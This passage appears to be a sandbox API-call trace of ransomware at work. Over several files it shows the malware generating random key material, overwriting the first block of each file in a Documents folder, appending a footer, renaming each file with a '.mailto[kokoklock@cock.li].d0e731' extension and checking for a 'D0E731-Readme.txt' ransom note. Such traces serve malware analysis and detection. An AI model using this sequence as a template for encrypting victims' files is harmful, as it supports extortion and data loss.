"c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\d0e731-readme.txt")) returned 0x20 [0075.690] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b910) returned 1 [0075.690] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb4f0) returned 1 [0075.690] RtlExitUserThread (Status=0x1) Thread: id = 773 os_tid = 0x1260 [0075.691] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\e2dpsmnni y.odp")) returned 0x20 [0075.691] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp", dwFileAttributes=0x20) returned 1 [0075.691] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\e2dpsmnni y.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e4 [0075.691] GetFileSizeEx (in: hFile=0x9e4, lpFileSize=0x1d03f7d0 | out: lpFileSize=0x1d03f7d0*=67723) returned 1 [0075.692] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x10887, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.692] ReadFile (in: hFile=0x9e4, lpBuffer=0x1d03f7a4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d03f7a0, lpOverlapped=0x0 | out: lpBuffer=0x1d03f7a4*, lpNumberOfBytesRead=0x1d03f7a0*=0x4, lpOverlapped=0x0) returned 1 [0075.692] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0075.692] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479638 [0075.692] NtQuerySystemTime (in: CurrentTime=0x1d03f77c | out: CurrentTime=0x1d03f77c*=132121176335815461) returned 0x0 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0xbaee36a7 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x6d9abdf3 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x6228bc1f [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x307464c1 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x95b7c7da [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x9c4b2a84 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x28b622fc [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0xb968bd97 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0xac35ed78 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0xb38ade08 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0xf9bdc3c [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x242e3bd2 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x7c9659e4 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x4e0190b3 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0xce1b0356 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0xb051b494 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x367df9f7 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0xafe742f2 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0xaedf2358 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x2bb9c4fc [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x8b17ceaa [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x11b281f6 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0xd159b9e4 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x801744d4 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x2b7a5c96 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x23e4fb5d [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x54842676 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0xd0200788 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x7c6f67c4 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0x6a11d434 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0xf2f6be18 [0075.693] RtlRandom (in: Seed=0x1d03f788 | out: Seed=0x1d03f788) returned 0xb87add4e [0075.704] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.704] ReadFile (in: hFile=0x9e4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1d03f754, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d03f754*=0x4096, lpOverlapped=0x0) returned 1 [0075.705] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.705] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd940 [0075.705] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0075.705] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.705] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.705] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.705] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34797a0 [0075.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34797a0) returned 1 [0075.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0075.705] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0075.705] WriteFile (in: hFile=0x9e4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1d03f754, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d03f754*=0x4096, lpOverlapped=0x0) returned 1 [0075.706] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.706] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x1088b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.706] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479548*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d03f78c, lpOverlapped=0x0 | out: lpBuffer=0x3479548*, lpNumberOfBytesWritten=0x1d03f78c*=0x20, lpOverlapped=0x0) returned 1 [0075.706] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.706] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.706] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d03f7a0, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1d03f7a0*=0x8, lpOverlapped=0x0) returned 1 [0075.706] WriteFile (in: hFile=0x9e4, lpBuffer=0x1d03f7b8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d03f7a0, lpOverlapped=0x0 | out: lpBuffer=0x1d03f7b8*, lpNumberOfBytesWritten=0x1d03f7a0*=0x4, lpOverlapped=0x0) returned 1 [0075.706] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d03f7a0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d03f7a0*=0x4, lpOverlapped=0x0) returned 1 [0075.706] WriteFile (in: hFile=0x9e4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d03f7a0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d03f7a0*=0x6c, lpOverlapped=0x0) returned 1 [0075.706] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479570*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d03f7a0, lpOverlapped=0x0 | out: lpBuffer=0x3479570*, lpNumberOfBytesWritten=0x1d03f7a0*=0x20, lpOverlapped=0x0) returned 1 [0075.706] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d03f7a0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d03f7a0*=0x4, lpOverlapped=0x0) returned 1 [0075.706] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0075.706] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479660) returned 1 [0075.706] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.706] CloseHandle (hObject=0x9e4) returned 1 [0075.707] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc6) returned 0x33f7548 [0075.707] wcscpy (in: _Dest=0x33f7548, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp" [0075.707] wcscat (in: _Dest=0x33f7548, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731" [0075.707] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\e2dpsmnni y.odp"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\e2dpsmnni y.odp.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.707] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.707] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7548) returned 1 [0075.708] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\e2DpsmNnI Y.odp", dwFileAttributes=0x20) returned 0 [0075.708] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347b910 [0075.708] wcscpy (in: _Dest=0x347b910, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0075.708] wcscat (in: _Dest=0x347b910, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" [0075.708] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\d0e731-readme.txt")) returned 0x20 [0075.708] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b910) returned 1 [0075.708] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2840) returned 1 [0075.708] RtlExitUserThread (Status=0x1) Thread: id = 774 os_tid = 0x1264 [0075.709] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\eoordulzfuyzz-kxgtu.ods")) returned 0x20 [0075.709] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods", dwFileAttributes=0x20) returned 1 [0075.709] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\eoordulzfuyzz-kxgtu.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9e4 [0075.709] GetFileSizeEx (in: hFile=0x9e4, lpFileSize=0x1d0bfa7c | out: lpFileSize=0x1d0bfa7c*=61701) returned 1 [0075.710] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0xf101, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.710] ReadFile (in: hFile=0x9e4, lpBuffer=0x1d0bfa50, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d0bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x1d0bfa50*, lpNumberOfBytesRead=0x1d0bfa4c*=0x4, lpOverlapped=0x0) returned 1 [0075.710] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479570 [0075.710] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479660 [0075.710] NtQuerySystemTime (in: CurrentTime=0x1d0bfa28 | out: CurrentTime=0x1d0bfa28*=132121176335971465) returned 0x0 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x12b0abeb [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0xf0e953c2 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0xcb3e24a2 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x96650553 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x9cdf83e0 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0xa4ca6415 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0xa1626d06 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x361ab47b [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0xaaacae1c [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x44742a81 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0xecddc3a9 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x825a0aa5 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x716c3209 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0xe8aa78e3 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0xa2fa3858 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x47073d76 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0xb06c179f [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x140ff71e [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x409b96c1 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x1a4aa631 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x8aebd6ef [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x553e9819 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0xda83fab6 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0xa23dead8 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x27e6797 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0xa4be3fde [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x7ee9a150 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x52f39c77 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x19803635 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x7124d68d [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0x3418b111 [0075.711] RtlRandom (in: Seed=0x1d0bfa34 | out: Seed=0x1d0bfa34) returned 0xd9770b01 [0075.723] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.723] ReadFile (in: hFile=0x9e4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1d0bfa00, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d0bfa00*=0x4096, lpOverlapped=0x0) returned 1 [0075.723] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd940 [0075.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0075.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.723] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0075.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479548 [0075.723] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34797c8 [0075.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34797c8) returned 1 [0075.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0075.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd940) returned 1 [0075.724] WriteFile (in: hFile=0x9e4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1d0bfa00, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d0bfa00*=0x4096, lpOverlapped=0x0) returned 1 [0075.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0075.724] SetFilePointerEx (in: hFile=0x9e4, liDistanceToMove=0xf105, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.724] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479548*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d0bfa38, lpOverlapped=0x0 | out: lpBuffer=0x3479548*, lpNumberOfBytesWritten=0x1d0bfa38*=0x20, lpOverlapped=0x0) returned 1 [0075.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479548) returned 1 [0075.724] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0075.724] WriteFile (in: hFile=0x9e4, lpBuffer=0x34797a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d0bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x34797a0*, lpNumberOfBytesWritten=0x1d0bfa4c*=0x8, lpOverlapped=0x0) returned 1 [0075.724] WriteFile (in: hFile=0x9e4, lpBuffer=0x1d0bfa64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d0bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x1d0bfa64*, lpNumberOfBytesWritten=0x1d0bfa4c*=0x4, lpOverlapped=0x0) returned 1 [0075.724] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d0bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d0bfa4c*=0x4, lpOverlapped=0x0) returned 1 [0075.724] WriteFile (in: hFile=0x9e4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d0bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d0bfa4c*=0x6c, lpOverlapped=0x0) returned 1 [0075.724] WriteFile (in: hFile=0x9e4, lpBuffer=0x3479570*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d0bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x3479570*, lpNumberOfBytesWritten=0x1d0bfa4c*=0x20, lpOverlapped=0x0) returned 1 [0075.725] WriteFile (in: hFile=0x9e4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d0bfa4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d0bfa4c*=0x4, lpOverlapped=0x0) returned 1 [0075.725] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0075.725] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0075.725] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34797a0) returned 1 [0075.725] CloseHandle (hObject=0x9e4) returned 1 [0075.725] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd6) returned 0x347a800 [0075.725] wcscpy (in: _Dest=0x347a800, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods" [0075.725] wcscat (in: _Dest=0x347a800, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731" [0075.725] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\eoordulzfuyzz-kxgtu.ods"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\eoordulzfuyzz-kxgtu.ods.mailto[kokoklock@cock.li].d0e731")) returned 1 [0075.726] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0075.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a800) returned 1 [0075.726] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\eOORDUlzfUYzz-kxGtu.ods", dwFileAttributes=0x20) returned 0 [0075.726] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347b910 [0075.726] wcscpy (in: _Dest=0x347b910, _Source="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\" [0075.726] wcscat (in: _Dest=0x347b910, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" [0075.726] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\sUNAQgk8PGby\\BPtEQ1wNKh\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\sunaqgk8pgby\\bpteq1wnkh\\d0e731-readme.txt")) returned 0x20 [0075.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347b910) returned 1 [0075.726] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eab90) returned 